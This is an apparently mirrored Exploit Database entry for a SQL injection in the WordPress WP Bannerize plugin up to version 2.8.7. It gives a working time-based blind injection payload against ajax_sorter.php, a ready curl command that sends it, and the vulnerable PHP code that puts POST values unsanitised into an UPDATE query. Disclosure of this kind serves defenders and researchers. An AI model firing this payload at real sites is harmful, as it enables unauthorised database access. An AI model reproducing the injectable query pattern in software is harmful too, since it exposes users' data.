WordPress Plugin Bannerize 2.8.7 – SQL Injection

• Exploit Database
• 9 阅读

• 作者： Miroslav Stampar
  日期： 2011-09-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17906/

• # Exploit Title: WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability
  # Date: 2011-09-22
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
  # Version: 2.8.7 (tested)
  
  ---------------
  PoC (POST data)
  ---------------
  http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
   limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
  
  e.g.
  curl --data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
  
  ---------------
  Vulnerable code
  ---------------
  if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
  ...
  $limit = intval($_POST['limit']);
  $page_offset = (intval($_POST['offset']) - 1) * $limit;
  
  foreach($_POST["item"] as $key => $value){
  $sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset ), $value );
  $result = mysql_query($sql);
  }
  }